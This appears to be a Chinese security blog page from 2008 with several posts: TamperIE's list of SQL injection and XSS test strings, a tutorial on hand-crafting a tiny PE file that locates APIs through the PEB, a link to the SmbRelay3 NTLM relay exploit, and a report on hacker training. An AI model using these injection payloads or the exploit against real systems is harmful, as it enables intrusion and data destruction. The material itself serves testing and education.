2008年11月17日星期一

轻量级网页安全漏洞扫描工具-Wapiti

有些开发人员喜欢在客户端进行用户输入的检查,这种方法其实是不安全的,因为跨站脚本攻击可以绕过客户端输入界面,利用一些工具来修改提交到服务器的字符串,从而达到跨站脚本攻击的目的。


TamperIE就是此类的小工具之一(www.bayden.com)
TamperIE安装后以插件的方式加载到IE浏览器中,监视IE浏览器与服务器之间的HTTP通信,截获提交到服务器的HTTP语句,修改其中的数据,然后再发送修改后的数据到服务器。
TamperIE还“贴心”地为测试员准备了以下几类带有“攻击性”的字符串:
'"
';drop tablename;
*' or '1'='1
'" onmouseenter="alert('XSS hole1 #n');" onreadystatechange="alert('XSS hole2 #n');"
q 2652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652652

打造XP下可运行的微型PE文件(292字节)

该文作者是《疯狂的程序员》的作者,现在《疯狂的程序员》已经写完了,还没来得及看。

作者:hitetoshi

前几天和朋友交流技术,提到手工打造微型PE文件,他说现在网上流传的大部分版本在XP SP3下都不能运行,于是心血来潮,拍着胸脯说:“你放心,忙完了帮你做一个。”
后来花了半天时间,终于打造出一个XP下可运行的微型PE,弹出一个对话框,292字节,当然这离极限也许还差得远,不过自己做了一次,还是有些心得,贴出来和大家分享一下。本文介绍的这个MiniPE可以在下载:http://download.csdn.net/source/774041

第一步 准备PE文件
先创建一个PE文件,为了尽可能地小,我们用汇编语言来编写。代码如下:


.386
.model flat,stdcall
option casemap:none

.data
byData db 90h

.code
start:

end
代码什么也没做,运行就报错(因为PE文件的EntryPoint实际上指向了不存在的区域),代码我们到后面再来填充它,这个PE文件只包含一个数据节。在Windows XP下,PE文件必须包含至少一个节,否则无法运行,这正是我们为什么要定义byData这个数据的原因。
为了让生成出的PE文件尽可能小,在链接的时候,我们使用/align:4这个选项,指定文件和节为4字节对齐(高版本的Microsoft增量链接器可能不支持4字节对齐,比如我测试的8.0版本,要求至少16字节对齐。所以使用这个选项,应该用低版本的链接器,我用的是MASM32V9自带的链接器,版本是5.12。)
这样生成出来的PE文件只有460字节,这是一个很好的开始,因为大部分极其简单的汇编程序生成出来都会在1.5K左右,如果是高级语言编写的,将会更高。文件的内容如下:
00000000h: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 ; MZ?........ ..
00000010h: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ; ?......@.......
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 A8 00 00 00 ; ............?..
00000040h: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ; ..?.???L?Th
00000050h: 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F ; is program canno
00000060h: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 ; t be run in DOS
00000070h: 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 ; mode....$.......
00000080h: 5D 17 1D DB 19 76 73 88 19 76 73 88 19 76 73 88 ; ]..?vs?vs?vs?
00000090h: E5 56 61 88 18 76 73 88 52 69 63 68 19 76 73 88 ; 錠a?vs圧ich.vs?
000000a0h: 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 01 00 ; ........PE..L...
000000b0h: 77 B8 1A 49 00 00 00 00 00 00 00 00 E0 00 0F 01 ; w?I........?..
000000c0h: 0B 01 05 0C 00 00 00 00 04 00 00 00 00 00 00 00 ; ................
000000d0h: C8 01 00 00 C8 01 00 00 C8 01 00 00 00 00 40 00 ; ?..?..?....@.
000000e0h: 04 00 00 00 04 00 00 00 04 00 00 00 00 00 00 00 ; ................
000000f0h: 04 00 00 00 00 00 00 00 CC 01 00 00 C8 01 00 00 ; ........?..?..
00000100h: 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 ; ................
00000110h: 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ; ................
00000120h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000130h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000140h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000150h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000160h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000170h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000180h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000190h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000001a0h: 2E 64 61 74 61 00 00 00 01 00 00 00 C8 01 00 00 ; .data.......?..
000001b0h: 04 00 00 00 C8 01 00 00 00 00 00 00 00 00 00 00 ; ....?..........
000001c0h: 00 00 00 00 40 00 00 C0 90 00 00 00 ; ....@..缾...

第二步 去掉数据节内容
看到文件的最后4字节,90 00 00 00,这正是我们定义的byData(链接器使用4字节对起,后面3字节填0),这当然不是我们需要的东西,我们定义byData,只是为了让链接器生成PE文件时能至少有一个节。所以我们先把它拿掉,在UltraEdit中直接删除最后4个字节,把000001a8处Section的Virtual Size改为0,这样,文件又少了4个字节。

第三步 去掉DOS Stub
我们的目标是在Windows XP下运行,DOS Stub自然是多余的,可是链接器并没有选项来去掉DOS Stub,只好手工来做这个工作,文件偏移0x3C处(IMAGE_DOS_HEADER的e_lfanew)指定了PE文件头位置,这里是0x000000A8,直接将文件偏移0x3C到0xA8间的数据删除,把后面的数据往前移,再将一些数据适当修正,比如e_lfanew修正为0x40。这里DOS Stub的大小为0xA8-0x40=0x68,拿掉它,我们的文件又小了104字节,内容如下:
00000000h: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 ; MZ?........ ..
00000010h: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ; ?......@.......
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 ; ............@...
00000040h: 50 45 00 00 4C 01 01 00 77 B8 1A 49 00 00 00 00 ; PE..L...w?I....
00000050h: 00 00 00 00 E0 00 0F 01 0B 01 05 0C 00 00 00 00 ; ....?..........
00000060h: 09 00 00 00 00 00 00 00 60 01 00 00 60 01 00 00 ; ........`...`...
00000070h: 60 01 00 00 00 00 40 00 04 00 00 00 04 00 00 00 ; `.....@.........
00000080h: 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ; ................
00000090h: 64 01 00 00 60 01 00 00 00 00 00 00 02 00 00 00 ; d...`...........
000000a0h: 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ; ................
000000b0h: 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000c0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000d0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000e0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000f0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000100h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000120h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000130h: 00 00 00 00 00 00 00 00 2E 64 61 74 61 00 00 00 ; .........data...
00000140h: 00 00 00 00 60 01 00 00 00 00 00 00 60 01 00 00 ; ....`.......`...
00000150h: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ; ............@..

第四步 重叠DOS文件头和PE文件头
在Windows下,PE装载器只关心DOS文件头的e_magic和e_lfanew,有这么多无用的项目,何不把PE文件头往前挪挪,大家挤一挤,再誊点空间出来。当然,PE文件头的长度超过了DOS文件头,往前移动,肯定是会覆盖到e_lfanew的。e_lfanew是不能随便乱填的,怎么办?我们把PE文件头移动到文件偏移0x04的位置,再把e_lfanew修改为0x04,现在PE装载器可以正确从e_lfanew找到PE文件头的位置了,我们在来看看PE文件头,在PE文件头偏移0x3C-0x4=0x38的位置,刚好是IMAGE_OPETION_HEADER的SectionAlignment――节对齐值,刚刚好,我们的节对齐也是4,讲到这里,如果你链接PE文件时,用的对齐值不是4那么就得修改为4咯。
这一步也很简单,直接把刚才文件偏移0x40的数据拷贝到0x04处,这时候,我们的PE文件总大小为292字节:sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)+4。文件内容如下:
00000000h: 4D 5A 90 00 50 45 00 00 4C 01 01 00 77 B8 1A 49 ; MZ?PE..L...w?I
00000010h: 00 00 00 00 00 00 00 00 E0 00 0F 01 0B 01 05 0C ; ........?......
00000020h: 00 00 00 00 09 00 00 00 00 00 00 00 60 01 00 00 ; ............`...
00000030h: 60 01 00 00 60 01 00 00 00 00 40 00 04 00 00 00 ; `...`.....@.....
00000040h: 04 00 00 00 04 00 00 00 00 00 00 00 04 00 00 00 ; ................
00000050h: 00 00 00 00 64 01 00 00 60 01 00 00 00 00 00 00 ; ....d...`.......
00000060h: 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 ; ................
00000070h: 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 ; ................
00000080h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000a0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000b0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000c0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000d0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000e0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000000f0h: 00 00 00 00 00 00 00 00 00 00 00 00 2E 64 61 74 ; .............dat
00000100h: 61 00 00 00 00 00 00 00 60 01 00 00 00 00 00 00 ; a.......`.......
00000110h: 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; `...............
00000120h: 40 00 00 C0 ; @..

第五步 添加代码
这一步很有意思,我们的PE文件没有代码节,也没有导入表,怎么让他调用MessageBoxA呢?
第一个问题很好解决,PE文件头的EntryPoint不一定要指向代码节,例如很多加壳软件都会修改EntryPoint,让它指向自己的地址。极端一点,EntryPoint甚至可以指向PE文件的任意位置。我们来看一下,实际上对于PE文件头,PE装载器有很多字段也不会解释,这里把这些字段列出来,其中带“*”的字段表示值不能随便填,能随便填的值后面是其相对于我们这个PE文件的文件偏移:

IMAGE_FILE_HEADER STRUCT
Machine *
NumberOfSections *
TimeDateStamp
PointerToSymbolTable 0x0C
NumberOfSymbols 0x10
SizeOfOptionalHeader *
Characteristics *
IMAGE_FILE_HEADER ENDS
IMAGE_FILE_HEADER ENDS

IMAGE_OPTIONAL_HEADER32 STRUCT
Magic *
MajorLinkerVersion 0x1E
MinorLinkerVersion 0x1F
SizeOfCode 0x20
SizeOfInitializedData 0x24
SizeOfUninitializedData 0x28
AddressOfEntryPoint *
BaseOfCode 0x30
BaseOfData 0x34
ImageBase *
SectionAlignment *
FileAlignment *
MajorOperatingSystemVersion *
MinorOperatingSystemVersion *
MajorImageVersion *
MinorImageVersion *
MajorSubsystemVersion *
MinorSubsystemVersion *
Win32VersionValue *
SizeOfImage *
SizeOfHeaders *
CheckSum 0x5C
Subsystem *
DllCharacteristics *
SizeOfStackReserve *
SizeOfStackCommit *
SizeOfHeapReserve *
SizeOfHeapCommit *
LoaderFlags 0x74
NumberOfRvaAndSizes *
DataDirectory *
IMAGE_OPTIONAL_HEADER32 ENDS
另外对于DataDirectories,都指定了Virtual Address和Size,一个结构16字节,实际上只要我们把它的任意一个字段填0,另外一个字段就可以挪作它用了(TLS除外,两个字段必须都为0),有些DataDirectories甚至可以两个字段都任意填写,比如Exception Table,Seccrity Table,Base Relocation Table,Copyright Data Table,Global Ptr,再加上后面那个数据节的节表,除了VirtualSize,RAV/Offset和Pointer To Raw Data外,其他的都能随意填充。这样算下来,只要我们的代码足够小,还是有足够的空间容纳的。
现在让我们来写代码。
一个没有导入表的程序,如何才能动态装载User32.dll并调用其中的MessageBoxA呢?我们来看看下面的代码:
.386
.model flat,stdcall
option casemap:none

include windows.inc

.data
szUser32 db 'user32.dll',0
szMsg db 'Hello World!',0
szTitle db 'MiniPE',0

.code
GetApi proc hModule,nIndex

mov esi,hModule
mov edx,nIndex
add esi,[(IMAGE_DOS_HEADER ptr [esi]).e_lfanew]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,eax
assume esi:ptr IMAGE_EXPORT_DIRECTORY

sub edx,[esi].nBase
rol edx,2
mov edi,[esi].AddressOfFunctions
add edi,eax
add edi,edx
mov edx,dword ptr [edi]
add eax,edx
ret
GetApi endp

WinMain proc
local hModule

assume fs:nothing
mov eax,fs:[30h]
mov eax,[eax+0Ch]
mov eax,[eax+0Ch]
mov eax,[eax]
mov eax,[eax]
mov eax,[eax+18h]
mov hModule,eax
invoke GetApi,hModule,245h
.if eax
push offset szUser32
call eax
.if eax
mov hModule,eax
invoke GetApi,hModule,1DDh
.if eax
push MB_OK
push offset szTitle
push offset szMsg
push 0
call eax
.endif
.endif
.endif
ret
WinMain endp

end WinMain
上面的代码并没有显示调用任何API,但是在Windows XP下,你尝试编译并运行它,你会发现他竟然能弹出一个对话框来。看看代码的入口:
首先加载fs:30h到eax,如果你研究过SHE的,一定对fs段寄存器很熟悉。在基于NT的操作系统中,fs寄存器用于访问线程本地信息(TEB)。我们来看看TEB到0x30处的定义:
0x00 NtTib :_NT_TIB
0x1C EnvironmentPointer :Ptr32 Void
0x20 ClientId :_CLIENT_ID
0x28 ActiveRpcHandle :Ptr32 Void
0x2C ThreadLocalStoragePointer :Ptr32 Void
0x30 ProcessEnvironmentBlock :Ptr32 _PEB
很显然,这里是通过TEB来访问进程环境块(PEB),后面的代码又将PEB的0x0C的数据加载到eax,我们来看PEB到0x0C的定义:
0x00 InheritedAddressSpace :UChar
0x01 ReadImageFileExecOptions :UChar
0x02 BeginDebugged :UChar
0x03 SpareBool :UChar
0x04 Mutant :Ptr32 Void
0x08 ImageBaseAddress :Ptr32 Void
0x0C Ldr :Ptr _PEB_LDR_DATA
可见,偏移0x0C出是_PEB_LDR_DATA,加载程序信息,后面的代码又访问了这个结构0x0C处的数据,我们再来看看_PEB_LDR_DATA到0x0C的定义:
0x00 Length :Uint4B
0x04 Initialized :UChar
0x08 SsHandle :Ptr32 Void
0x0C InLoadOrderModuleList :_LIST_ENTRY
实际上_PEB_LDR_DATA+0x0C处的InLoadOrderModuleList正是LDR_DATA_TABLE_ENTRY结构,让我们来看看它:
0x00 InLoadOrderLinks :_LIST_ENTRY
0x08 InMemoryOrderLinks :_LIST_ENTRY
0x10 InInitializationOrderLinks :_LIST_ENTRY
0x18 DllBase :Ptr32 Void
0x1C EntryPoint :Ptr32 Voi
……
我们的程序首先读取了其偏移0处的数据,它正是_LIST_ENTRY的Flink字段――前向链接,mov eax,[eax]这段代码直接跳过这个结构,把下一个_PEB_LDR_DATA结构加载到eax,重复两次,在读0x18处的内容――模块基地址。这是为什么呢?因为在Windows XP下,任何进程都必须含有至少3个模块:自身、ntdll.dll、kernel32.dll,其加载顺序也是自身、ntdll.dll、kernel32.dll。我们跳过前两个模块,把第三个模块kernel32.dll的基地址加载到eax寄存器。
上面的结构看上去很复杂,要得到这些结构的详细信息,可以在WindDbg中使用“DT ModuleName!*”命令来列出模块所有名字列表,然后再用“DT ModuleName!StructName”来列出结构的详细定义。
得到了kernel32.dll的基地址,后面的代码就很容易理解了,通过导出序号0x245从kernel32.dll的导出表中查找导出函数(0x245对应的正是LoadLibraryA),得到LoadLibraryA的地址再通过调用它来加载user32.dll,再用同样的方法用序号0x1DD从user32.dll导出表中查找MessageBoxA的地址。当然,这里我们也可以使用函数名从模块中查找导出函数,不过为了尽量把代码写得短小,这里用了序号。罗云彬的《Windows环境下32位汇编语言程序设计》中对这两种方法都作了说明,有兴趣可以参考一下。
解决了无导入表调用MessageBoxA的问题,我们还要想办法把我们的代码优化得尽可能短,再回忆我们前面讲的,我们要利用PE文件头的空余字段,这些字段看上去没有一块足够大的连续空间可以容纳我们的整个代码,所以我们还希望我们的代码每条指令的机器码尽量短,以便我们可以通过插入JZ/JNZ这样的指令来灵活地利用空余的空间。在高级语言中,有__falstcall这样的调用约定,我们借鉴一下,通过寄存器来传递调用函数的参数,最终优化出来,我的代码如下:
.386
.model flat,stdcall
option casemap:none

include windows.inc

.code

WinMain proc
assume fs:nothing
mov ebx,offset GetApi
mov eax,fs:[30h]
mov eax,[eax+0Ch]
mov eax,[eax+0Ch]
mov eax,[eax]
mov eax,[eax]
mov eax,[eax+18h]
mov edx,245h
call ebx
push 00400000h
call eax
mov edx,1DDh
call ebx
push MB_OK
push 00400000h
push 00400000h
push 0
call eax
ret
WinMain endp

GetApi proc
mov esi,eax
add esi,[(IMAGE_DOS_HEADER ptr [esi]).e_lfanew]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,eax
assume esi:ptr IMAGE_EXPORT_DIRECTORY
sub edx,[esi].nBase
rol edx,2
mov edi,[esi].AddressOfFunctions
add edi,eax
add edi,edx
mov edx,dword ptr [edi]
add eax,edx
ret
GetApi endp

end WinMain
在上面的代码中,对于GetApi的调用,我们使用eax来传递hModule,因为无论是通过访问TEB还是LoadLibraryA,模块地址都已经在eax中了,无须再用其他指令调整,edx来传递导出序号。上面的被调函数并没有保护寄存器,是因为我们的代码可以完全掌握所有的寄存器,确保关键寄存器不会被被调用函数覆盖。代码中有三个push 00400000h――将字符串地址压栈,可以肯定,我们最终会把user32.dll,Hello!,MiniPE这些字符串找个合适的空隙存放起来,地址暂时不能确定,先空起来,最后再填。代码编译出来:
004001E0 >/$ BB 1E024000 MOV EBX,ASMTest.0040021E
004001E5 |. 64:A1 3000000>MOV EAX,DWORD PTR FS:[30]
004001EB |. 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
004001EE |. 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
004001F1 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
004001F3 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
004001F5 |. 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18]
004001F8 |. BA 45020000 MOV EDX,245
004001FD |. FFD3 CALL EBX
004001FF |. 68 02004000 PUSH ASMTest.00400002
00400204 |. FFD0 CALL EAX
00400206 |. BA DD010000 MOV EDX,1DD
0040020B |. FFD3 CALL EBX
0040020D |. 6A 00 PUSH 0
0040020F |. 68 1A004000 PUSH ASMTest.0040001A
00400214 |. 68 0D004000 PUSH ASMTest.0040000D
00400219 |. 6A 00 PUSH 0
0040021B |. FFD0 CALL EAX
0040021D \. C3 RETN
0040021E . 8BF0 MOV ESI,EAX
00400220 . 0376 3C ADD ESI,DWORD PTR DS:[ESI+3C]
00400223 . 8B76 78 MOV ESI,DWORD PTR DS:[ESI+78]
00400226 . 03F0 ADD ESI,EAX
00400228 . 2B56 10 SUB EDX,DWORD PTR DS:[ESI+10]
0040022B . C1C2 02 ROL EDX,2
0040022E . 8B7E 1C MOV EDI,DWORD PTR DS:[ESI+1C]
00400231 . 03F8 ADD EDI,EAX
00400233 . 03FA ADD EDI,EDX
00400235 . 8B17 MOV EDX,DWORD PTR DS:[EDI]
00400237 . 03C2 ADD EAX,EDX
00400239 . C3 RETN
有90字节,看样子空隙足矣。

主函数的代码规模比较大,尽量找个连续的位置,看一下,文件偏移0x94这个位置比较合适(DataDirectories的Exception Table Address处),把刚才编译好的Shellcode拷贝进去。到文件偏移0xB0这个位置,注意,不能填了,那么在偏移0xAC这个位置我们安排两条指令来跳过它,直接跳到0xB4,JE 004000B4 JNE 004000B4,Shellcode刚好4字节。这样按顺序往下填写,遇到需要跳过的地方就在它前面四字节位置用JE/JNE,到最后,从0x11E还空了些字段出来。
然后是GetApi这个函数,虽然才28字节。可是难阿,连连续28字节的位置都找不出来了。
起始地址我们放在文件偏移0x0C处(PE文件头的Time/Date Stamp字段),和前面一样,遇到不能覆盖的位置就在它前面四字节用JE/JNE跳过。但是代码填到文件偏移0x25处为难了,0x2A是不能覆盖的,那是PE文件头的EntryPoint阿,看看这里的指令,ADD ESI,EAX SUB EDX,DWORD PTR [ESI+10h],两条算术指令,那么我们就用JNZ来跳过。我们可以肯定地知道,这两条算术指令的运算结果不可能是0,否则,我们的程序也就出错了。依次类推,后面遇到为难的而刚好又是算术指令的地方就用JNZ来跳过,才两字节阿,又节省了宝贵的资源。这样跳来跳去,到文件偏移0x8C的地方,GetApi的代码也填完了。
再回头来看看主函数的第一条代码,将GetApi的地址存入ebx,现在我们确定了GetApi的位置,那么就把0040000C填进去吧。然后是三个字符串,分别是“user32”(全名应该是“user32.dll”,但实在找不出位置了,就用“user32”吧),“Hello!”,“MiniPE”。刚才说了,在文件偏移0x11E处还有空位呢,“user32”就填这里吧。“Hello!”放在文件偏移0xD8处,“MiniPE”放在文件偏移0xE0处。最后别忘了修正
004001FF |. 68 02004000 PUSH ASMTest.00400002
0040020F |. 68 1A004000 PUSH ASMTest.0040001A
00400214 |. 68 0D004000 PUSH ASMTest.0040000D
这三条指令后面字符串和PE文件头EntryPoint的地址,EntryPoint修正为0x00000094。

到此为止,292字节的微型PE打造成功了,最终的文件内容如下:

00000000h: 4D 5A 90 00 50 45 00 00 4C 01 01 00 8B F0 03 76 ; MZ?PE..L...嬸.v
00000010h: 3C 8B 76 78 74 0D 75 0B E0 00 0F 01 0B 01 03 F0 ; <媣xt.u.?.....?
00000020h: 2B 56 10 03 F0 2B 56 10 75 06 00 00 94 00 00 00 ; +V..?V.u...?..
00000030h: C1 C2 02 8B 7E 1C 75 3C 00 00 40 00 04 00 00 00 ; 谅.媬.u<..@.....
00000040h: 04 00 00 00 04 00 00 00 00 00 00 00 04 00 00 00 ; ................
00000050h: 00 00 00 00 64 01 00 00 60 01 00 00 00 00 00 00 ; ....d...`.......
00000060h: 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 ; ................
00000070h: 00 10 00 00 03 F8 75 08 10 00 00 00 00 00 00 00 ; .....鴘.........
00000080h: 03 FA 75 04 00 00 00 00 8B 17 03 C2 C3 00 00 00 ; .鷘.....?.旅...
00000090h: 00 00 00 00 BB 0C 00 40 00 64 A1 30 00 00 00 8B ; ....?.@.d?...?
000000a0h: 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 74 06 75 04 ; @.婡.??婡.t.u.
000000b0h: 00 00 00 00 BA 45 02 00 00 FF D3 68 1E 01 40 00 ; ....篍... 觝..@.
000000c0h: 74 2E 75 2C 00 00 00 00 00 00 00 00 00 00 00 00 ; t.u,............
000000d0h: 00 00 00 00 00 00 00 00 48 65 6C 6C 6F 21 00 00 ; ........Hello!..
000000e0h: 4D 69 6E 69 50 45 00 00 00 00 00 00 00 00 00 00 ; MiniPE..........
000000f0h: FF D0 BA DD 01 00 00 FF D3 6A 00 68 E0 00 40 00 ; 泻?.. 觠.h?@.
00000100h: 74 12 75 10 00 00 00 00 94 00 00 00 00 00 00 00 ; t.u.....?......
00000110h: 94 00 00 00 68 D8 00 40 00 6A 00 FF D0 C3 75 73 ; ?..h?@.j. 忻us
00000120h: 65 72 33 32 ; er32

我想前面讲的JE/JNE,JNZ这些跳转把你搞糊涂了吧,那么用OD调试一下,一步一步跟下程序运行流程,虽然OD调试的时候会报告“32为可执行文件格式错误”和“模块minipe有空的代码段”,但这都不影响程序的正常运行。

第六步 补充
这个MiniPE只能够在Windows XP下运行,因为没有导入表,在Windows 2K下无法运行。
后来朋友发给我一个别人做的MiniPE,才133字节,神了!粗看了一下,他简化了后面的数据目录,把导入表也进行了重叠,连MessageBoxA的字符串都放不下了,就用“MessageBoxA”,牛人就是牛人阿,继续学习中。
顺便做做广告,《疯狂的程序员》大约会在下下周出版啦,谢谢大家的支持,大家可以在这里看一看:
http://www.china-pub.com/301678

参考资料:
1.一块钱三毛的《手工构造一个超微型的 PE 文件》。
2.Eldad Eilam的《Reversing:Secrets of Reverse Engineering》。

(转载文章请保持完整性并注明出处)

SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-068)

SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-068)

* SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version
* (c) 2008 Andres Tarasco Acuña ( atarasco _at_ gmail.com )
* URL: http://tarasco.org/Web/tools.html

http://milw0rm.com/sploits/2008-smbrelay3.zip

Foundstone终极黑客培训实记

Foundstone终极黑客培训实记


作者:新加坡国家图书馆管理局-傅梦(CISSP,CCNP,MCSE)

2004年11月我参加了Foundstone在新加坡举办的终极黑客实战培训。
培训前据老师介绍,这是Foundstone第一次在新加坡举办这样高级别的黑客攻防培训,而本次培训的主要对象是新加坡警察部队,电脑局,电信局等这类国家级重点信息机构,所以这次对外招生只准备了很少的几个照顾班,也主要是针对大型企业的安全管理人员。由于Foundstone终极黑客培训的实战性极强,所以新加坡政府要求前来参加培训的所有学员不仅必须是电脑安全行业的正式员工,而且还需要提供所有个人详细资料备案。不过,即便是这么苛刻的条件,前来报名要参加培训的人还是络绎不绝。

这次培训除了可以让自己有机会系统性的学习黑客技术,我还从讲师那里得知该培训可以为我的CISSP认证增加32个教育学分(要知道,到目前位置还没有别的什么培训可以象Ultimate Hacking这样一次性给CISSP加那么多教育分的),更是开心不已。


Foundstone 的终极黑客实战培训在安全界应该是最有富有盛名的,除了那套被黑客们称为Bible的Hacking Exposed系列丛书是他们编写的,另外,光是那一长串他们为其做长期安全顾问和培训的机构名单就不得不让人刮目相看,如: CIA, Dept of Defense(USA),FBI, NASA, National Security Agency(USA), AT&T, Cisco, IBM, ISS, 等等

Foundstone的终极黑客培训提供根据实际情况而配置在不同网络环境下的20多台服务器, 这些服务器装备了各种各样的操作系统,配合Cisco的路由器以及Cisco IOS防火墙,能够模拟极其复杂的网络环境供学员练习。此外,在学员用机方面,Foundstone终极黑客培训为每个学员特别配置了一台 Windows/Linux的双系统,多启动的笔记本电脑上机练习,这样做的目的是为了让学员可以同时使用和掌握不同系统中使用的黑客工具。(所有设备从美国空运) Foundstone终极黑客培训的讲师是从美国Foundstone本部派来的富有经验的专家。就是这样的条件,才可以确保每个学员在这短短的五天内充 分的学习到各种具有实战意思的攻防技术和了解到安全防护中的漏洞和盲点。

下面我大致介绍一下5天的Foundstone Ultimate Hacking课程的内容,在为期5天的课程中,有超过30个以上的密集实战练习,包含了入侵Unix、NT/2000、网络设备等层面的练习。

第1 天 – 概论与基础建立

主要学习和重新认识一些入侵渗透的相关基础知识,这些知识点以前都知道,但是这次是通过黑客的眼光来看重新认识他们。

Internet footprinting
Reviewing publicly available information
Network and domain enumeration
"whois" lookups
ARIN lookups
DNS interrogation
Zone transfers
Network reconnaissance
扫描/发现目标 Scanning / Landscape Discovery:
PING sweeps
Port scanning
Banner grabbing
OS guessing
目标信息搜集Lab
第一天应该算是一道开胃菜,这天我们利用课程所教授的工具与技巧来搜集、扫描由Foundstone精心设计的Footprinting模拟网络。逐一在其网络环境中发现了多种设备与主机 (Windows, Red Hat, Solaris, HP-UP, AIX, etc.)。每一次的主机鉴定都是一次不小的胜利。通过不懈的努力,大家都熟练的掌握了各种扫描技术的运用,其中包括了公开的互联网查询服务和局域网的扫描工具。

第2 天 – Windows NT/2000 系统安全

第二天课程的重点主要在Windows NT 与 Windows 2000。从基本的NT/2000 安全开始教起,接着学习入侵与防护NT/2000 系统。在一整天的Windows服务器攻击的课程中我们主要学习了以下技术:

Hacking Windows NT/2000
NT/2000 security overview
SIDs and RIDs
LSASS
SAM
ACLs
Domain and network relationships
Footprint / scan
Identify OSs
Identify services
Enumerate
Computer roles
Users and groups
Discovering Network Topology
Services and pipes
Hardware
LDAP
Penetrate
NT passwords
Password guessing
Password sniffing
Password cracking
Escalate
NT4 and Win2K attacks
Named Pipes prediction attack
Pillage
Auditing
Log cleaning
Grabbing the SAM
NT password cracking
Syskey
Important registry keys
Finding "hidden" plaintext passwords
Get interactive
remote.exe
netcat shells
Expand influence
BO2K
netbus
SubSeven
VNC
NT/2000 Lab
在第2天课程的下午,我们对4部仿真用主机进行了实作攻击演练,在攻击过程中需要充分利用这两天所学的方法与工具。通过一系列的练习,Windows服务器攻击的神秘面纱逐一的被我们完全揭开了。其中一个“Capture the Flag攻占山头”的实际练习更是重中之重,因其难度,整个攻击过程花费了我们不少的时间,最后终于依靠我们学员间的团队合作精神来共同达成了。从第二天的攻击实践中,我们发现了不少过去以为靠打补丁和关闭一些不必要的服务进程就可以有效加强系统安全的盲点。现在回过头来看,要强化一台Windows服务器,要做的事情还有很多很多。

第三天 – UNIX 系统安全

第三天的课程着重在Unix安全方面的问题,在现场,我们将运用本日所学的技能针对Linux与Solaris主机进行实战练习。其中一些重要的技能如下:

Hacking UNIX
UNIX landscape discovery
UNIX host enumeration
Remote attacks
Brute force attacks
Remote buffer overflows
Input validation attacks
Creating back channels
Common remote attacks
Local attacks
UNIX passwords
UNIX password cracking
Symlink attacks
Race condition attacks
Local buffer overflows
File and directory permission attacks
Beyond root
Network mapping
Rootkits
Trojans
Backdoors
Sniffers
Loadable kernel modules
UNIX Lab
